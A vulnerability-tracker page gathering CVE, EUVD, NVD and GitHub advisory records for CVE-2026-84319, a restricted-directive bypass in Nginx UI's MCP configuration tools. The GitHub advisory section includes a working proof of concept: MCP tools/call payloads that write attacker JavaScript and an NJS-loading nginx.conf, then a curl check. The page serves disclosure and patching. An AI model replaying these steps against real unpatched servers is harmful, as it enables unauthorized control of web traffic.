Nginx UI: MCP configuration tools bypass restricted directive validation and allow secondary authenticated users to execute NJS in Nginx worker context
Collected exploitation and prediction evidence
Risk source coverageCISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.
No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.
cve-program · CVE-2026-84319
PublishedNginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, the regular HTTP configuration API rejects restricted Nginx directives such as load_module, js_import, and js_content. However, the MCP configuration interface allows a secondary authenticated user to write and apply equivalent restricted configuration content. This allows the user to load ngx_http_js_module.so, import attacker-controlled JavaScript, reload Nginx, and execute NJS in the Nginx worker context. This issue is fixed in version 2.4.1.
- Source published
- 12 Oct 2026 21:03:36 UTC
- Source modified
- 13 Oct 2026 20:23:50 UTC
- Observed here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 3.1 · 8.3 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H
euvd · EUVD-2026-97905
PublishedNginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, the regular HTTP configuration API rejects restricted Nginx directives such as load_module, js_import, and js_content. However, the MCP configuration interface allows a secondary authenticated user to write and apply equivalent restricted configuration content. This allows the user to load ngx_http_js_module.so, import attacker-controlled JavaScript, reload Nginx, and execute NJS in the Nginx worker context. This issue is fixed in version 2.4.1.
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Oct 12, 2026, 9:03:36 PM
dateUpdated: Oct 13, 2026, 8:23:50 PM
- Source published
- Oct 12, 2026, 9:03:36 PM (timezone not stated)
- Source modified
- Oct 13, 2026, 8:23:50 PM (timezone not stated)
- Observed here
- 7 Nov 2026 15:21:54 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.
EUVD CVSS 3.1 · 8.3 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H
nvd · CVE-2026-84319
PublishedNginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, the regular HTTP configuration API rejects restricted Nginx directives such as load_module, js_import, and js_content. However, the MCP configuration interface allows a secondary authenticated user to write and apply equivalent restricted configuration content. This allows the user to load ngx_http_js_module.so, import attacker-controlled JavaScript, reload Nginx, and execute NJS in the Nginx worker context. This issue is fixed in version 2.4.1.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-693
Original publisher date fields
published: 2026-10-12T21:17:22.517
lastModified: 2026-10-13T21:19:11.433
- Source published
- 12 Oct 2026 21:17:22 UTC
- Source modified
- 13 Oct 2026 21:19:11 UTC
- Observed here
- 25 Oct 2026 16:19:16 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 3.1 · [email protected] · Secondary · 8.3 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H
osv · GHSA-5r62-gj48-897x
Published## Summary The regular HTTP configuration API rejects restricted Nginx directives such as `load_module`, `js_import`, and `js_content`. However, the MCP configuration interface allows a secondary authenticated user to write and apply equivalent restricted configuration content. In the lab, this allowed the user to load `ngx_http_js_module.so`, import attacker-controlled JavaScript, reload Nginx, and execute NJS in the Nginx worker context. This is authenticated and is not OS command execution by itself. ## Affected component - `/mcp` - `/mcp_message` - MCP tool: `nginx_config_add` - Nginx configuration validation ## Impact A secondary authenticated user can bypass the restricted directive validation enforced by the HTTP API and execute attacker-controlled NJS inside the Nginx worker context. This may allow modification of Nginx runtime behavior, including responses, routing, headers, redirects, and request handling. ## Minimal PoC ### Preconditions - Attacker has a secondary authenticated Nginx UI account. - MCP is enabled. - Nginx has NJS available: ```bash find / -name "ngx_http_js_module.so" 2>/dev/null ``` Observed in the lab: ```text /usr/lib/nginx/modules/ngx_http_js_module.so ``` ### 1. HTTP API blocks the restricted config Request: ```http POST /api/configs Authorization: <SECONDARY_USER_JWT> Content-Type: application/json ``` Body: ```json { "name": "nginx.conf", "base_dir": "", "overwrite": true, "sync_node_ids": [], "content": "load_module modules/ngx_http_js_module.so;\n\nuser nginx;\nworker_processes auto;\n\nevents { worker_connections 1024; }\n\nhttp {\n js_import poc from /etc/nginx/poc.js;\n server {\n listen 127.0.0.1:18249;\n location /__poc { js_content poc.handler; }\n }\n}\n" } ``` Observed result: ```text Rejected because the content contains restricted directives such as load_module/js_import/js_content. ``` ### 2. MCP writes the JavaScript file Open an MCP session and call `tools/call` with: ```json { "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "nginx_config_add", "arguments": { "name": "poc.js", "base_dir": "", "overwrite": true, "sync_node_ids": [], "content": "function handler(r) { r.return(200, \"MCP_NJS_MARKER\\n\"); }\nexport default { handler };\n" } } } ``` ### 3. MCP writes the NJS-enabled nginx.conf Call `tools/call` again: ```json { "jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": { "name": "nginx_config_add", "arguments": { "name": "nginx.conf", "base_dir": "", "overwrite": true, "sync_node_ids": [], "content": "load_module modules/ngx_http_js_module.so;\n\nuser nginx;\nworker_processes auto;\n\nerror_log /var/log/nginx/error.log notice;\npid /run/nginx.pid;\n\nevents { worker_connections 1024; }\n\nhttp {\n default_type application/octet-stream;\n js_import poc from /etc/nginx/poc.js;\n server {\n listen 127.0.0.1:18249;\n location /__poc { js_content poc.handler; }\n }\n}\n" } } } ``` ### 4. Verify NJS execution Inside the Nginx UI container: ```bash curl -i http://127.0.0.1:18249/__poc ``` Observed response: ```http HTTP/1.1 200 OK MCP_NJS_MARKER ``` This confirms that content rejected by the HTTP API can be applied through MCP and executed as NJS in the Nginx worker context. ## Expected behavior MCP configuration tools should enforce the same restricted directive validation as the HTTP API. ## Suggested fix Apply `ValidateConfigFile(path, content)` before MCP configuration writes and ensure HTTP API and MCP share the same validation tests for restricted directives such as: - `load_module` - `js_import` - `js_content` - `js_set` - `perl_set` - `user root`
- Source published
- 15 Oct 2026 20:10:44 UTC
- Source modified
- 19 Oct 2026 21:41:02 UTC
- Observed here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H
Publisher rating · HIGH
osv · GO-2026-6774
PublishedNginx UI: MCP configuration tools bypass restricted directive validation and allow secondary authenticated users to execute NJS in Nginx worker context in github.com/0xJacky/Nginx-UI
- Source published
- 19 Oct 2026 21:08:35 UTC
- Source modified
- 19 Oct 2026 21:31:51 UTC
- Observed here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- OSV · upstream source license applies
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.